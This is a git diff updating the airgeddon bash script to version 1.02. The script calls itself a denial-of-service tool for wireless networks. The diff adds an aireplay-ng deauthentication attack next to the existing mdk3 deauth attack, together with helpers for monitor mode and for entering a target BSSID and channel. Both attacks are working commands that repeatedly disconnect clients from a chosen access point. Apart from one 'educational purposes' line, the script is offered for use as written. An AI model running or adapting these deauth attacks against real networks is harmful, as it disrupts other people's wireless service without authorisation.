diff --git a/README.md b/README.md index 05ab37f10..718d9d777 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@ #airgeddon -Version 1.01
+Version 1.02
This is a DoS (Denial of Service) script for wireless networks.
#Requirements @@ -22,4 +22,9 @@ Initial commit
1.01
Detect distro functionality included
Kali and Wifislax Linux compatibility
-Rfkill added
\ No newline at end of file +Rfkill added
+
+1.02
+Improved echo messages and colors
+aireplay deauth attack included
+monitor and managed options added
\ No newline at end of file diff --git a/airgeddon.sh b/airgeddon.sh index 0a252ca23..07330017f 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -1,50 +1,145 @@ #!/bin/bash -version="1.01" +version="1.02" + +function check_to_set_managed() { + + if [ "$distro" == "Kali" ]; then + nowifi=`iwconfig $interface 2> /dev/null` + if [[ "$?" != "0" ]]; then + echo + echo_yellow "This interface $interface is not a wifi card. It doesn't support managed mode" + read -p "Press [Enter] key to continue..." + return 1 + fi + else + nowifi=`iwconfig $interface 2> /dev/null|grep Mode:` + if [[ "$?" != "0" ]]; then + echo + echo_yellow "This interface $interface is not a wifi card. It doesn't support managed mode" + read -p "Press [Enter] key to continue..." + return 1 + fi + fi + + mode=`iwconfig $interface | grep Mode: | cut -d ':' -f 2|cut -d ' ' -f 1` + + if [[ $mode == "Managed" ]]; then + echo + echo_yellow "This interface $interface is already in managed mode" + read -p "Press [Enter] key to continue..." + return 1 + fi + return 0 +} + +function check_to_set_monitor() { + + if [ "$distro" == "Kali" ]; then + nowifi=`iwconfig $interface 2> /dev/null` + if [[ "$?" != "0" ]]; then + echo + echo_yellow "This interface $interface is not a wifi card. It doesn't support monitor mode" + read -p "Press [Enter] key to continue..." + return 1 + fi + else + nowifi=`iwconfig $interface 2> /dev/null|grep Mode:` + if [[ "$?" != "0" ]]; then + echo + echo_yellow "This interface $interface is not a wifi card. It doesn't support monitor mode" + read -p "Press [Enter] key to continue..." + return 1 + fi + fi -function check_monitor() { - echo mode=`iwconfig $interface 2> /dev/null | grep Mode: | awk '{print $4}'` if [[ $mode == "Mode:Monitor" ]]; then - echo_warning "This interface ($interface) is already in monitor mode" + echo + echo_yellow "This interface $interface is already in monitor mode" + read -p "Press [Enter] key to continue..." + return 1 + fi + return 0 +} + +function check_monitor_enabled() { + + mode=`iwconfig $interface 2> /dev/null | grep Mode: | awk '{print $4}'` + + if [[ $mode != "Mode:Monitor" ]]; then + echo + echo_yellow "This interface $interface is not in monitor mode" + read -p "Press [Enter] key to continue..." return 1 fi return 0 } function disable_rfkill() { + rfkill unblock 0 for i in {0..5}; do rfkill unblock $i done } -function monitor() { +function managed_option() { + + check_to_set_managed + + if [ "$?" != "0" ]; then + return + fi + + disable_rfkill + + echo_blue "Putting your interface in managed mode..." + ifconfig $interface up + + if [ "$distro" == "Kali" ]; then + new_interface=$(airmon-ng stop $interface | grep station | cut -d ']' -f 2) + new_interface=${new_interface:: -1} + else + new_interface=`airmon-ng stop mon0 | grep -v removed | grep -v Interface | awk '{print $1}'` + fi + + if [ "$interface" != "$new_interface" ]; then + echo + echo_yellow "The interface changed its name while putting in managed mode" + interface=$new_interface + fi + + echo + echo_yellow "Managed mode now is set on $interface" + read -p "Press [Enter] key to continue..." +} + +function monitor_option() { - check_monitor + check_to_set_monitor if [ "$?" != "0" ]; then return fi disable_rfkill - echo_prompt "Putting your interface in monitor mode..." - echo_prompt "Please be patient. Maybe killing some conflicting processes..." + echo_blue "Putting your interface in monitor mode..." + echo_blue "Please be patient. Maybe killing some conflicting processes..." ifconfig $interface up iwconfig $interface rate 1M > /dev/null 2>&1 + if [ "$?" != "0" ]; then echo - echo_warning "This interface ($interface) doesn't support monitor mode. Choose another one..." - echo - set_interface - monitor + echo_yellow "This interface $interface doesn't support monitor mode" + read -p "Press [Enter] key to continue..." return fi airmon-ng check kill > /dev/null 2>&1 - if [ "$distro" == "kali" ]; then + if [ "$distro" == "Kali" ]; then new_interface=$(airmon-ng start $interface | grep monitor | cut -d ']' -f 3) else new_interface=$(airmon-ng start $interface | grep monitor | awk '{print $5}') @@ -54,21 +149,22 @@ function monitor() { if [ "$interface" != "$new_interface" ]; then echo - echo_warning "The interface changed its name while putting in monitor mode." + echo_yellow "The interface changed its name while putting in monitor mode" interface=$new_interface fi echo - echo_warning "Monitor mode now is set on $interface" - sleep 2 + echo_yellow "Monitor mode now is set on $interface" + read -p "Press [Enter] key to continue..." } -function set_interface() { +function select_interface() { - ifaces=`ifconfig -a|grep HWaddr|cut -d ' ' -f 1` - echo_error "*****************************Interface selection********************************" - echo_message "Select an interface to work with :" + clear + echo_red "*****************************Interface selection********************************" + echo_green "Select an interface to work with :" echo + ifaces=`ifconfig -a|grep HWaddr|cut -d ' ' -f 1` option_counter=0 for item in $ifaces do @@ -77,9 +173,9 @@ function set_interface() { done read iface if [ -z $iface ]; then - invalid_iface_option + invalid_iface_selected else if [[ $iface < 1 ]] || [[ $iface > $option_counter ]]; then - invalid_iface_option + invalid_iface_selected else option_counter2=0 for item2 in $ifaces @@ -95,82 +191,166 @@ function set_interface() { } function read_channel() { + echo - echo_message "Set channel (1-11) :" + echo_green "Set channel (1-14) :" read channel } +function ask_channel() { + + while [[ ! ${channel} =~ ^([1-9]|1[0-4])$ ]]; do + read_channel + done + echo + echo_yellow "Channel set to ${channel}" +} + function read_bssid() { + echo - echo_message "Type target BSSID (example: 00:11:22:33:44:55) :" + echo_green "Type target BSSID (example: 00:11:22:33:44:55) :" read bssid } +function ask_bssid() { + + while [[ ! ${bssid} =~ ^([a-fA-F0-9]{2}:){5}[a-zA-Z0-9]{2}$ ]]; do + read_bssid + done + echo + echo_yellow "BSSID set to ${bssid}" +} + function exec_mdk3deauth() { + echo - echo_error "*********************************Mdk3 action************************************" - echo_message "All parameters set" + echo_red "*********************************Mdk3 action************************************" + echo_green "All parameters set" echo $bssid > /tmp/bl echo - echo_prompt "Starting mdk3 deauth attack. Kicking asses!! press Ctrl+C to stop..." + echo_blue "Starting mdk3 deauth attack. Kicking asses!! press Ctrl+C to stop..." + sleep 1 mdk3 $interface d -b /tmp/bl -c $channel } +function exec_aireplaydeauth() { + + echo + echo_red "*******************************Aireplay action**********************************" + echo_green "All parameters set" + + airmon-ng start $interface $channel > /dev/null 2>&1 + + echo + echo_blue "Starting aireplay deauth attack. Die mothafucka's, die!! press Ctrl+C to stop..." + sleep 1 + aireplay-ng --deauth 0 -a $bssid --ignore-negative-one $interface + +} + +function mdk3_deauth_option() { + + echo + echo_red "*******************************Mdk3 parameters**********************************" + echo_green "Deauthentication / Dissasociation mdk3 attack chosen (monitor mode needed)" + + check_monitor_enabled + if [ "$?" != "0" ]; then + return + fi + + echo + echo_yellow "Selected interface $interface is in monitor mode. Attack can be done" + + ask_bssid + ask_channel + exec_mdk3deauth +} + +function aireplay_deauth_option() { + + echo + echo_red "*****************************Aireplay parameters********************************" + echo_green "Deauthentication aireplay attack chosen (monitor mode needed)" + + check_monitor_enabled + if [ "$?" != "0" ]; then + return + fi + + echo + echo_yellow "Selected interface $interface is in monitor mode. Attack can be done" + + ask_bssid + ask_channel + exec_aireplaydeauth +} + function menu_options() { + + clear + echo_red "*****************************airgeddon script menu********************************" + echo_blue "Interface $interface selected" echo - echo_error "************************************Menu****************************************" - echo_message "Select your option :" - echo - echo "1. Deauthentication / Disassociation mdk3 mode" - echo "2. Credits & About" - echo "3. Exit script" + echo_green "Select your option from menu :" + echo "---------" + echo "1. Select another network interface" + echo "---------" + echo "2. Deauthentication / Disassociation mdk3 attack (monitor mode needed)" + echo "3. Deauthentication aireplay attack (monitor mode needed)" + echo "---------" + echo "4. Put interface in monitor mode" + echo "5. Put interface in managed mode" + echo "---------" + echo "6. Credits & About" + echo "7. Exit script" read option -if [ -z $option ]; then + if [ -z $option ]; then + invalid_menu_option - invalid_menu_option + else if [ $option -eq 1 ]; then + select_interface - else if [ $option -eq 1 ]; then - echo_error "*******************************Mdk3 parameters**********************************" - echo_message "Deauthentication / Dissasociation mdk3 mode choosen" + else if [ $option -eq 2 ]; then + mdk3_deauth_option - monitor + else if [ $option -eq 3 ]; then + aireplay_deauth_option - while [[ ! ${bssid} =~ ^([a-fA-F0-9]{2}:){5}[a-zA-Z0-9]{2}$ ]]; do - read_bssid - done - echo - echo_warning "BSSID set to ${bssid}" + else if [ $option -eq 4 ]; then + monitor_option - while [[ ! ${channel} =~ ^([1-9]|1[0-1])$ ]]; do - read_channel - done - echo - echo_warning "Channel set to ${channel}" - - exec_mdk3deauth + else if [ $option -eq 5 ]; then + managed_option - else if [ $option -eq 2 ]; then - credits + else if [ $option -eq 6 ]; then + credits_option - else if [ $option -eq 3 ]; then - exit_script - else - invalid_menu_option + else if [ $option -eq 7 ]; then + exit_script_option + else + invalid_menu_option + fi + fi + fi + fi + fi fi fi fi -fi + menu_options } -function credits() { +function credits_option() { - echo_error "******************************Credits & About***********************************" - echo - echo "airgeddon script v$version developed by :" + clear + echo_red "******************************Credits & About***********************************" + echo_blue "airgeddon script v$version developed by :" echo " ____ ____ __ _______" echo "___ _/_ | _____/_ |/ |_ \ _ \_______" echo "\ \/ /| |/ ___/| \ __\/ /_\ \_ __ \ " @@ -188,91 +368,102 @@ function credits() { echo " '.__.'" echo " | |" echo - echo "Thank you to MI1 for his airstorm script. I used some pieces of it." - echo "The GPLv2 (or later) from the Free Software Foundation is the license that this script is under." - menu_options + echo_blue "This script is under GPLv2 (or later) License." + echo_blue "Thank you to the \"Spanish pen testing crew\" for beta testing and support received." + read -p "Press [Enter] key to continue..." } function invalid_menu_option() { + echo - echo_warning -n "Invalid menu option was choosen" - echo - menu_options + echo_yellow "Invalid menu option was chosen" + read -p "Press [Enter] key to continue..." } -function invalid_iface_option() { +function invalid_iface_selected() { + echo - echo_warning -n "Invalid interface was choosen" + echo_yellow "Invalid interface was chosen" echo + read -p "Press [Enter] key to continue..." echo - set_interface + select_interface } -function exit_script() { +function exit_script_option() { + echo - echo_error "************************************Exit****************************************" - echo_prompt "Exiting airgeddon script - 2016 - See you soon! :)" + echo_red "************************************Exit****************************************" + echo_blue "Exiting airgeddon script - 2016 - See you soon! :)" echo - exit 0 + exit } function detect_distro() { uname -a | grep kali > /dev/null if [ "$?" == "0" ]; then - echo_warning "Kali Linux distro detected. Script can continue..." - distro="kali" + echo_yellow "Kali Linux distro detected. Script can continue..." + distro="Kali" echo return fi uname -a | grep wifislax > /dev/null if [ "$?" == "0" ]; then - echo_warning "Wifislax Linux distro detected" - distro="wifislax" + echo_yellow "Wifislax Linux distro detected. Script can continue..." + distro="Wifislax" echo return fi - echo_warning "No compatible distro detected" - exit_script + echo_yellow "No compatible distro detected" + exit_script_option } function welcome() { + clear - echo_error "***********************************Welcome**************************************" + echo_red "***********************************Welcome**************************************" + echo_blue "Welcome to airgeddon script" echo - echo_prompt "Welcome to airgeddon script" + echo_green "This script is only for educational purposes. Be good boyz&girlz" echo - echo_prompt "This script is only working on Kali Linux and Wifislax" + echo_blue "This script is only working on Kali Linux and Wifislax" + echo_blue "Detecting distro..." echo + detect_distro - set_interface + read -p "Press [Enter] key to continue..." + select_interface menu_options } -function echo_message() { - tput setaf 2; tput setab 0; - echo $* - tput sgr0 +function echo_green() { + + tput setaf 2; tput setab 0; + echo $* + tput sgr0 } -function echo_prompt() { - tput setaf 4; tput setab 0; - echo $* - tput sgr0 +function echo_blue() { + + tput setaf 4; tput setab 0; + echo $* + tput sgr0 } -function echo_warning() { - tput setaf 3; tput setab 0; - echo $* - tput sgr0 +function echo_yellow() { + + tput setaf 3; tput setab 0; + echo $* + tput sgr0 } -function echo_error() { - tput setaf 1; tput setab 0; - echo $* - tput sgr0 +function echo_red() { + tput setaf 1; tput setab 0; + echo $* + tput sgr0 } welcome